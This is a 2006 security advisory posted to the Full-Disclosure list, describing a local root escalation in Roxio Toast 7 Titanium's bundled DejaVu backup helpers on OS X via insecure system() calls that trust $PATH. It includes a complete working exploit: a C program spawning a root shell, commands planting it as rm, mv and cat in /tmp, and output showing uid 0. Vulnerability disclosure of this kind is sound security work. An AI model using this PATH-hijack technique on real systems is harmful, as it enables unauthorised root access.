

# [Full-disclosure] NETRAGARD-20060624 SECURITY ADVISORY] [ROXIO TOAST 7 TITANIUM - LOCAL ROOT COMPROMISE ]

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2006-08/msg00528.html>

---

- *From:* Netragard Security Advisories <[advisories@xxxxxxxxxxxxxx](mailto:advisories@xxxxxxxxxxxxxx)>
  - *Date:* Thu, 17 Aug 2006 16:59:59 -0400
- 

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

\*\*\*\*\*

Netragard, L.L.C. -- Vulnerability Research and Exploitation Team

[www.netragard.com](http://www.netragard.com)

[Advisory Information]

-----  
Contact : Adriel T. Desautels  
Advisory ID : NETRAGARD-20060624  
Product Name : Roxio Toast  
Product Version : 7 Titanium  
Vendor Name : Roxio  
Type of Vulnerability : Local Root Compromise  
Effort : Easy  
Operating System : OSX  
Other : Insecure usage of \$PATH

[Product Description]

-----  
"Toast 7 is the best way to save, share and enjoy a lifetime of digital music, movies and photos on CD and DVD. Burn large files across multiple discs; compress and copy DVD movies; add over 50 hours of music to an audio DVD with on-screen TV menus, shuffle play, and rich Dolby Digital sound; burn DivX files into DVDs. Do it all with the fastest and most reliable burning software for the Mac OS - Toast."

-- <http://www.roxio.com> --

[Technical Summary]

---

Doing a default installation of Roxio Toast 7 Titanium also installs DejaVu which is used for backups. DejaVu uses a control panel helper application which makes insecure system() calls. More specifically, an attacker can exploit these system() calls using the user controlled environment variable named \$PATH and gain root access to the system.

#### [Technical Details]

---

This was tested using a configured version of Roxio Toast 7 Titanium.

Roxio 7 Toast contains locally exploitable vulnerabilities due to insecure system() by calls by suid binaries which use the users \$PATH environment variable.

The following shows the DejaVu suid binaries:

```
netragard-test-1$ find . -perm -4000
./DejaVu.prefPane/Contents/Resources/abort_backup
./DejaVu.prefPane/Contents/Resources/archive_table
./DejaVu.prefPane/Contents/Resources/install_crontab
./DejaVu.prefPane/Contents/Resources/install_scripts
./DejaVu.prefPane/Contents/Resources/manual_backup
./DejaVu.prefPane/Contents/Resources/remove_scripts
```

1-Exploitation is trivial. A user must first create small program such as the one demonstrated by simple.c below.

```
netragard-test-1$ cat > simple.c
```

```
main()
{
seteuid(0);
setuid(0);
setegid(0);
setgid(0);
system("/bin/sh -i");
}
```

2-Once the user has created the program, the user must compile the program, copy the program to replace rm, mv and cat, and insert it into the \$PATH variable.

```
netragard-test-1$cc -o chmod simple.c
netragard-test-1$cp chmod /tmp/rm
netragard-test-1$cp chmod /tmp/mv
```

```
netragard-test-1$cp chmod /tmp/cat  
netragard-test-1$export PATH=/tmp:$PATH
```

3-Once the user has finished with step 2, the user must then launch the "System Preferences" control pannel.

```
netragard-test-1$/Applications/System\  
Preferences.app/Contents/MacOS/System\ Preferences
```

4-After the user has launched the Systems Preferences helper application, a GUI window should display. From that window click on "Deja Vu" located in the "other" section. From there create a manual backup and then click the backup button. At that point you should be presented with a root shell prompt:

```
sh: no job control in this shell  
sh-2.05b# id
```

```
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm),  
79(appserverusr), 80(admin)
```

[Proof Of Concept]

---

Successful Created and Functional

[Vendor Status]

---

Vendor contacted and notified of the issue.

Vendor Comment:

Deja Vu, the affected component of Roxio Toast, is bundled into Roxio Toast and is third party software. Deva Vu is authored by Propaganda Productions and not Sonic.

[About Netragard]

---

Netragard offers specialized application and network security services which enable its clients to take a proactive security stance. Each of our services is driven by security professionals who specialize in specific areas of Information Security. This specialized focus differentiates Netragard from the competition by enabling Netragard to produce deliverables which are the product of skilled security professionals and not the product of automated tools and scripts.

[ For more information please visit <http://www.netragard.com> ]

[Disclaimer]

-----<http://www.netragard.com>-----

Netragard, L.L.C. assumes no liability for the use of the information provided in this advisory. This advisory was released in an effort to help the I.T. community protect themselves against a potentially dangerous security hole. This advisory is not an attempt to solicit business.

-- --

Regards,  
Netragard Vulnerability Research Team  
advisories at netragard dot com  
<http://www.netragard.com>

-----  
"We make I.T. Secure"  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.2 (MingW32)

iD8DBQFE5NjPNn0v/IJLeTQRAIWRAKCXHq1wgbdJBcAupZQK8IOSDvRGagCg21tX  
DFni9FJEXsz1LY/syMSFt1k=  
=1Iqk  
-----END PGP SIGNATURE-----

BullGuard Anti-virus has scanned this e-mail and found it clean.  
Try BullGuard for free: [www.bullguard.com](http://www.bullguard.com)

-----  
Full-Disclosure - We believe in it.  
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>  
Hosted and sponsored by Secunia - <http://secunia.com/>